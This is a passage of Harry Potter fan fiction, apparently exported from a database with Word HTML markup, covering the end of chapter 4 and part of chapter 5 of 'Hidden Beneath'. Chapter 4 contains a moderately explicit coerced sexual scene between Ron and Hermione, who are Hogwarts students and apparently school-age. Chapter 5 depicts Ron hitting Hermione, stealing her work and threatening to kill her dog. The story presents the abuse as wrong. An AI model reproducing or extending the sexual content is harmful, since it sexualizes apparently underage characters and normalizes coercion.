style="text-indent:.25in">Hermione&#8217;s hopes were squashed as\nshe opened the door more and slipped inside.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry heard the door close she and\nlocked it with a locking charm.&nbsp;&nbsp; He did\nnot want to be in here.&nbsp; It was a little\nlate to jump up and shout wait I&#8217;m here so he decided to just sit within his\nbed curtains and wait till they were done.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione saw Ron enter the room\nfrom the bathroom.&nbsp; She watched him\ncarefully as he went and sat down on his bed, he looked up at her with a tiny\nsmile and patted the spot next to him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;\n&#8220;You did take care of everything right?&nbsp;\nMy mum would kill me if I got someone like you pregnant.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded and took a breath\nand moved over towards him and sat down.&nbsp;\nHermione felt his lips on her neck, she felt the tears already start,\nshe couldn&#8217;t let them fall, at least not yet.&nbsp;\nNot until she was surrounded in the complete darkness with in the bed\ncurtains.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">*~*~*~*~ * (<b style="mso-bidi-font-weight:\nnormal">A/N: I&#8217;m writing it but you don&#8217;t have to read it)</b></p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">While he kissed his way up her\nneck to her ear, he told her what he wanted her to do.&nbsp; He didn&#8217;t even whisper or speak softly to\nher; it was just an order, nothing out of the ordinary, nothing special.&nbsp; She shut her eyes and did exactly what was\nexpected of her.&nbsp; She could feel his\nharsh breathing in her ear.&nbsp; Hermione\nreally hated this, she so hated touching him.&nbsp;\nIf she didn&#8217;t do what she was told he would force it on her anyway, best\nto get it over with and dwell on it later.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione got some more orders and\ncommands, once she was freed of her clothing she pressed herself down onto her\nback.&nbsp; Ron pulled the curtains around\nthem.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Harry heard Ron&#8217;s bed curtains close and he\nopened his own.&nbsp; He felt this as his\nchance to escape this, he really didn&#8217;t want to be in here when they were\ngetting all hot and heavy.&nbsp; He quietly\nmoved to the edge of his bed</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Hermione felt Ron&#8217;s hands all over her, and\nfinally the tears spilled over.&nbsp;&nbsp; His\nhand and fingers were between her legs readying her for himself.&nbsp; Hermione took a breath as her thighs were\nparted.&nbsp; She reached up and grabbed the\ncurtain with her hand tightly, she didn&#8217;t realize that she opened it just a\nenough.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry stood to go but he saw the\ncurtain pull back a little and her face came into view, Thinking she was going\nto see him he reached for his invisibility cloak and threw it over him just in\ntime as he saw face, her eyes were shut tightly and she sniffled a little.&nbsp; She certainly didn&#8217;t look like she was\nenjoying herself.&nbsp; He could certainly\nhear Ron having a grand time.&nbsp; Hermione&#8217;s\neyes opened and she lifted her other hand wiping away something wet under her\neyes.&nbsp; Harry figured out they were\ntears.&nbsp; She looked absolutely miserable.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione felt him thrusting in and\nout of her, she held onto the curtain tightly.&nbsp;\nWithin a few minutes she heard Ron&#8217;s pleasured yell.&nbsp; At least it was over fairly quickly.&nbsp; He pulled himself out of her and rolled over\non his back.&nbsp; He was breathing hard,\n&#8220;Thanks, Herms you can go now.&#8221;&nbsp; He sat\nup and ran his hand through his hair, he pulled on his boxer shorts and headed\nto the bathroom.&nbsp;&nbsp;&nbsp; Hermione reached turned\nover and curled herself up into a little ball hugging her knees to her chest.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">*~*~*~*~* </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;\nHer eyes wet with massive tears as she silently cried.&nbsp; If Ron heard her losing herself to her\nemotions like this.&nbsp; Then it would most\nlikely end with a right smack in the face for her weakness. At least it was\nover for the week.&nbsp; Hermione gathered her\nclothing from off the floor and dressed herself.&nbsp; Still in tears she pulled the curtains open\non both sides of the bed and stood up.&nbsp;\nShe didn&#8217;t even know that she was face to face with Harry.&nbsp; For some reason he felt his heart break at the\nsight of her tears.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She looked up at the ceiling a\nmoment, and took a couple of breaths willing herself to stop crying.&nbsp; Hermione ran her fingers through her tangled\nhair trying to straighten it.&nbsp; &#8220;I hate\nthis; I really, really hate this.&#8221; She whispered to herself.&nbsp; Hermione then bent down and felt underneath\nRon&#8217;s bed for something. &#8220;Ah-ha&#8221; She whispered and pulled out a nice\nbroomstick, hers was horrible.&nbsp; But she\nreally liked Ron&#8217;s so she would use his, he would never know and it would be\nback under his bed before Quidditch tryouts on Friday.&nbsp; She headed for the door and removed the\nlocking charm.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry wondered what she was up to\nwith that broomstick, was she going to break it.&nbsp; He followed after her.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione hurried out of the school\nand mounted the broomstick.&nbsp; She smiled\nas she was lifted into the air.&nbsp; She\nzoomed gleefully through the air, the wind whipping her hair back as she felt\nfree, away from Ron away from the teasing students, away from the\nproblems.&nbsp; This was truly a gift and she\nwould enjoy it.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry crossed his arms, even from\ndown on the ground he could see that this, flying is something she truly\nenjoyed.&nbsp; She actually looked happy.&nbsp; He had an idea, he would convince her to try\nout for the team on Friday.&nbsp; No matter what\nit took, he wanted to see that happy expression on her face again.&nbsp; He still did not want to get involved in\nHermione and Ron&#8217;s personal problems. He argued with himself that this was in\nno case related to those problems.&nbsp; Not\nat all. Then again who knows?</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">======</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Well that&#8217;s it for chapter 4 stay\ntuned for chapter 5 I will never do a really detailed erotica scene between\nanyone other than H/H.&nbsp; I think this one\nwas bad enough.&nbsp; I felt really icky\nthrough it and I hope to never do one again.&nbsp;\nWell I hope you all continue reading don&#8217;t forget to read and\nreview.&nbsp; Reviews = Life &#8230;.LOL&#8230;. and I&#8217;m\nsure you all know that ;-)&nbsp; Thanks Ryoko</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(24, 5, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal">Disclaimer: Not mine, Not mine, Definitly\nnot mine. The entire HP world belongs to JK Rowlings.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">Hidden Beneath</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">Chapter 5&#8212; Through Her Eyes</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry followed secretly behind Hermione as she climbed the\nstairs back to Gryffindor tower.&nbsp; He stopped\nat the bottom of the stairs as she crept quietly into the boy&#8217;s dorm.&nbsp; Harry assumed she was putting Ron&#8217;s broom\nback.&nbsp; After a few minutes Hermione came\nout of the boy&#8217;s dorm broom-less and went right over to the girls&#8217; dorm and\nretired for the night.&nbsp; He pulled off his\ninvisibility cloak.&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;So that&#8217;s how you were hiding in the girl&#8217;s dorm.&#8221; A voice\nsaid from the couch.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry turned to find Neville sitting there, there was a\nsmall vial in his hand and he was twirling it around.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Neville saw Harry&#8217;s gaze directed towards the vial of clear\nliquid.&nbsp; &#8220;This is what helped me to see\nthe truth.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Don&#8217;t you have anything better to do then spy on me?&#8221; Harry\nsaid with a bit of sarcasm.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I just wanted to make sure Hermione was alright it is\nWednesday after all, these evenings are always the hardest on her.&#8221; Neville\nglanced to the floor for a moment.&nbsp; &#8220;I\nfigured you would be spying on her.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What makes you say that?&#8221; Harry looked at Neville\ncuriously.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well for one you weren&#8217;t in bed.&#8221; Neville continued to\ntwirl the potion in his hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry pointed to the vial with a subtle jerk of his chin.\n&#8220;What&#8217;s with the bottle? Is it some kind of drug?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Neville shook his head, &#8220;no, this is a potion Draco\nmade.&nbsp; Since he quite often is Hermione&#8217;s\npartner he is able to take hair samples from her because of how they are used\nin different potions.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Alright, what does it do then?&#8221;&nbsp; Harry&#8217;s arms crossed in front of him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well I used to be just like you before Draco gave me this.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I doubt you were just like me.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I mean that I thought that Hermione would be fine on her\nown and that she can handle her problems herself.&nbsp; It wasn&#8217;t until I took this potion that I\nbegan to see things very differently.&#8221;&nbsp;\nNeville held out the vial for Harry to take.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You still didn&#8217;t answer my question, what does it do?&#8221;\nHarry didn&#8217;t take the vial he just stared at it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I know you consciously say I don&#8217;t want to get involved,\nbut believe it or not you can&#8217;t close your mind to what&#8217;s happening and by you\nwanting to talk to her last night, your heart wants you to help her, but that\nblasted head of yours says no don&#8217;t help her, she can take care of herself.&#8221;\nNeville looked at Harry, &#8220;this potion will allow you inside her head.&nbsp; You will hear her thoughts, see things\nthrough her eyes.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry looked at the potion, &#8220;I don&#8217;t know. I have my own\nproblems to worry about. What makes you think I even want to see what&#8217;s going\non in her head?&#8221;&nbsp; He took the little\nbottle from Neville and looked at the clear liquid.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;It&#8217;s up to you; I&#8217;m just giving you the option.&#8221; Neville\nturned from Harry.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry heard Neville mutter &#8220;Selfish prat.&#8221;&nbsp; His eyes narrowed in anger. <i style="mso-bidi-font-style:normal">&#8216;Selfish am I? Yes you are, no I&#8217;m not. I\njust don&#8217;t want to be stuck in the middle of problems like this.&nbsp; Yeah well think of her, she&#8217;s really stuck in\nthe middle.&#8217;</i> Harry sighed and climbed the stairs to the boys&#8217; dorm; he\nslipped silently inside and made way to his bed.&nbsp; He saw Ron snoring peacefully; the red head\ndidn&#8217;t even bother to pull the curtains closed on his bed.&nbsp; Harry sat down on his bed and looked at the\nliquid, <i style="mso-bidi-font-style:normal">&#8216;Ah, what would it hurt, besides\nif he didn&#8217;t get anything useful out of her head, perhaps he could find out the\ndeepest mysteries all guys are just dying to know, what goes on in the heads of\nladies.&#8217;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He took the cork out of the vial and drank down the contents\nof the bottle; he thought it would taste nasty; he was surprised when the sweet\ntaste of strawberries glided down his throat.&nbsp;\nToo bad there wasn&#8217;t anymore, that wasn&#8217;t half bad.&nbsp; Harry waited a moment, but nothing was\nhappening.&nbsp; Perhaps the potion expired or\nsomething, he heard Neville&#8217;s snoring so he decided to wait till morning to\ntalk to him.&nbsp; Harry stripped out of his\nclothing, only his underwear remaining and retired for the night.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">*****&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The morning alarm went off and Harry sat up slowly, yawning.\n<i style="mso-bidi-font-style:normal">&#8216;Hmm, the pink underwear or the white?&#8217;</i>&nbsp; Harry heard a feminine voice in his head and\nglanced around the dorm there were no girls in the room.&nbsp; Something was strange.&nbsp; His room looked different, it was like half\nof what he saw was the girl&#8217;s dorm room and he was looking at himself or rather\nherself in the mirror he closed his eyes when Hermione who was standing in\nfront of the mirror in the bathroom started stripping her nightgown off.&nbsp; Oh wow the potion worked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He opened his right eye and all he saw was his room, he then\nopened his left eye and he saw both his room and Hermione&#8217;s bathroom, she was\nin the shower and the water was falling. He immediately closed his eyes\nagain.&nbsp; He did not want to see her washing\nherself no matter how tempting it was he was certainly no pervert.&nbsp; Harry thought a moment and opened his left\neye only and he all he saw was Hermione in the shower and he immediately closed\nhis eye.&nbsp; He opened his left eye and\nstarted getting ready for the day; he grabbed his soap and shampoo heading\ntowards the bathroom.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron saw him with one eye open and one eye closed he started\nchuckling, &#8220;Something wrong with your eyes Potter?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Not at all.&#8221; Harry said in irritation still keeping his eye\nclosed. <i style="mso-bidi-font-style:normal">&#8216;unless you think me wanting to\nsee your girlfriend naked is a problem&#8217;</i> He thought to himself. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well I wouldn&#8217;t want you to miss tryouts tomorrow because\nof bad eyes, it would be a shame, and we are so looking forward to seeing your\ntalent.&#8221; Ron was sarcastic.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh I&#8217;m sure I&#8217;ll be fine tomorrow,&#8221; <i style="mso-bidi-font-style:\nnormal">&#8216;Hopefully.&#8217;</i> Harry thought to himself.&nbsp; He had forgotten to ask Neville how long this\npotion lasts for.&nbsp;&nbsp; &#8220;Just you worry about\nyourself.&#8221;&nbsp; Harry said and went into the\nbathroom.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">After his morning shower, he was relived to find that when\nhe opened his eyes Hermione was done with hers and already dressed as he was\nwalking down to The Great Hall for breakfast he saw Hermione putting the\nfinishing touches on her hair.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione sighed looking at herself in the mirror; she tilted\nher head to side a few times.&nbsp; She nodded\nwith approval and left the bathroom heading over to her bag sitting on her\ntrunk.&nbsp; Hermione lifted the bag and swung\nit over her shoulder leaving the girl&#8217;s dorm.&nbsp;\nShe started down the stairs to the common room waiting for Ron like\nusual.&nbsp; She waited for about fifteen\nminutes and Ron finally came down the stairs, she took a deep breath<i style="mso-bidi-font-style:normal"> &#8216;Well it&#8217;s another day, hopefully I won&#8217;t\nmess up too much today.&#8217; </i>&nbsp;She saw\nRon&#8217;s eyes scrutinizing her but she tried to ignore it.&nbsp; &#8220;Did you sleep well?&#8221; Hermione asked quietly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes,&#8221; Ron tilted his head to the side, &#8220;So did you finish\nmy Herbology homework for me?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione&#8217;s eyes widened. <i style="mso-bidi-font-style:normal">&#8216;Oh\nno I forgot.&#8217;</i> She thought to herself.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I can tell by the look on your face that you didn&#8217;t do it,&#8221;\nRon crossed his arms in front of him.&nbsp;\n&#8220;So what am I suppose to do?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Maybe you should have done it yourself.&#8221; Hermione blurted\nout, realizing what she said, she immediately closed her mouth. <i style="mso-bidi-font-style:normal">&#8216;Idiot!!&#8217;</i> Her head screamed at her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron took a deep breath, anger was swelling inside him. He\nroughly grabbed her by the arm and a loud yelp in pain came from her.&nbsp; &#8220;Keep your noises to yourself you stupid\ngirl.&#8221; He pulled her bag from her shoulder and opened it.&nbsp;&nbsp; He fished through her Muggle folders and\nfound her Herbology folder and opened it, there nice and neat on a lovely piece\nof parchment was Hermione&#8217;s Herbology homework which was completed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What are you doing?&#8221; Hermione asked quietly lightly rubbing\nher aching arm, which was already starting to show purple marks from Ron\ngrabbing her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron didn&#8217;t answer as he took her homework paper out, he used\nhis wand removing her name from the top and replacing it with his own, and he\nchanged the handwriting to look like his by using a Masking spell.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ron you can&#8217;t do that, I worked for several days on that.&#8221;\nHermione said in desperation.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Are you telling me what I can and can not do?&#8221; In complete\nrage he roughly threw her open bag to the floor and all her folders, which\nopened, flew about decorating the floor of the common room in her work.&nbsp; &#8220;The way I see it is you lost all rights to\nyour homework since mine has not been completed.&nbsp; Maybe this will teach you to always complete\nmine first.&nbsp; I hope you enjoy your incomplete\nmark you will receive.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione looked up at him, &#8220;Give it back it is mine, I did\nmy homework and I want my good mark&#8212;&#8221; Hermione was interrupted when Ron&#8217;s hand\nconnected with her cheek so hard that she staggered backwards from the force of\nthe blow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Don&#8217;t order me around bitch,&#8221; Ron sneered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I won&#8217;t let you take my grade, I&#8217;ll go to Professor Sprout,\nI will.&#8221; Hermione&#8217;s voice was shaking with fear as she was attempting to stand\nup to him while rubbing her sore cheek.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">They heard playful yelping coming from the direction of the\ncouch, Ron went over to the couch and found Hermione&#8217;s cute little Pomeranian\nplaying with its fuzzy ball.&nbsp; Ron smirked\nand picked the dog up off of the couch, he turned facing Hermione holding the\ndog secure in his arms. &nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione&#8217;s eyes widened with fear for her puppy, &#8220;What are\nyou doing?&#8221;&nbsp; She looked between the dog\nand Ron.&nbsp; The dog was licking Ron&#8217;s\nfingers affectionately. &#8220;Give Cinnamon to me,&#8221; She said quietly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron glanced down at the dog &#8220;You won&#8217;t say anything to any\nprofessors about the homework, for one they would go back through all my\nassignments and find out you did them and I would be expelled.&nbsp; I&#8217;m not about to let that happen.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ron, please give her to me.&#8221; Hermione looked up at him with\nworried eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Let me make this clear to you Hermione, if you ever say\nanything to anyone about homework or anything else.&#8221; Ron closed his hand around\nthe neck of the dog.&nbsp; &#8220;I&#8217;ll snap this\npathetic bitch&#8217;s neck.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Alright Ron,&#8221; She took a deep breath, &#8220;I won&#8217;t say anything,\nI promise. Now please give her to me.&#8221; She begged while holding her arms out\nfor the dog. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron saw how eager she was to hold her dog, he laughed and\nthrew it to the ground and it yelped.&nbsp; He\nwould have kicked it but Hermione had dove for her dog and had the puppy\nalready in her arms.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp; &#8220;I&#8217;m going down to\nbreakfast; you pick this crap up off the floor.&#8221; He saw the bruise forming on\nher cheek, &#8220;Fix that bloody bruise.&nbsp; And\nthen you better come down to breakfast and behave.&#8221;&nbsp; He folded the homework and tucked it into a\npocket under his robe and left the common room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">After taking a few deep breaths Hermione stopped the tears\nthat were swelling in her eyes. She hugged her dog tightly in her arms and\nspoke quietly into her ear &#8220;He can hurt me all he wants, but he&#8217;s not going to\nlay one finger on you my little Cinnamon.&#8221; She affectionately rubbed her dog&#8217;s\nears and kissed her on the head, she set her down on the ground and it went\nright after its little fuzzy ball.<i style="mso-bidi-font-style:normal"> </i>Hermione\nsighed and kneeled down on the floor and started picking up her papers.<i style="mso-bidi-font-style:normal"> &#8216;I should have done his paper first, that&#8217;s\nhow it&#8217;s always been.&nbsp; How did I forget\nRon&#8217;s paper?&#8217;</i> scratched her head in confusion<i style="mso-bidi-font-style:\nnormal"> &#8216;Yeah he&#8217;s right I am a stupid girl.&#8217;</i>&nbsp; With her task complete, Hermione zipped up\nher bag.&nbsp; She walked by the mirror in the\ncommon room and glanced at her cheek and cringed at the site of it.&nbsp; Hermione lifted her wand and muttered her\ncovering spell and the bruise faded from view, she headed towards The Great\nHall.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry could not eat anymore; he had left his plate and his\nspot at the table.&nbsp; What he had seen was\nenough to make anyone&#8217;s stomach churn.&nbsp;\nRon was surely the biggest jerk to ever walk the planet, threatening Hermione\nthrough her pet; he couldn&#8217;t believe someone would sink so low.&nbsp; To Harry through Hermione&#8217;s eyes it seemed to\nhim that Ron enjoyed torturing her like that.&nbsp;\nNot that he couldn&#8217;t control his actions like some people have been\nknown to do, but that he actually liked hurting her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry was leaving The Great Hall when the door opened and\nHermione came though, the door almost banged into him but he jumped back out of\nthe way.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Sorry.&#8221; Hermione said quietly before walking all the way\ninto The Great Hall, she was relieved to find that Ron wasn&#8217;t at the\ntable.&nbsp; She really didn&#8217;t care if he was\nthere, this time she would be able to eat in peace for once.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;Harry watched her a\nmoment, he heard a shriek come from the other side of the doors, he opened them\nand saw Ginny looking furiously at her brother who had quickly pulled out of\nLavender&#8217;s arms.&nbsp; Harry laughed to\nhimself as he approached Ginny, she did not break eye contact with her brother.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m going to tell her,&#8221; Ginny said bitterly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh you can&#8217;t be serious Ginny, I didn&#8217;t kiss her she kissed\nme.&#8221; Ron said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You looked pretty into it yourself.&#8221; Ginny&#8217;s hands found\nher hips she was angry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry noticed that Ron had red lipstick smudges on his neck\nand face; his lips were also a nice rosy shade of red as well.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I think you should tell Hermione you were kissing another\ngirl.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ginny you can&#8217;t tell her, you are my sister you are loyal\nto me.&nbsp; Not to her.&nbsp; She&#8217;s not even part of our family.&nbsp; Mum would be furious about your interfering\nin mine and Hermione&#8217;s relationship.&#8221; Ron said he sighed, &#8220;But if it makes you\nfeel any better I&#8217;ll tell her that Lavender kissed me.&#8221; He lied.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Alright then, its for the best Ron.&nbsp; You know how Hermione is, she&#8217;ll forgive\nyou.&#8221; Ginny smiled.&nbsp; &#8220;And if you don&#8217;t\ntell her, I will.&#8221; Ginny added with the narrowing of her eyes she walked away\nfrom her brother and passed by Harry with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron saw Harry looking at him, &#8220;You will forget all that you\nheard.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh I don&#8217;t know, I can do a lot with this information.&#8221;\nHarry said with a smirk.</p>\n\n<p class="MsoNormal" 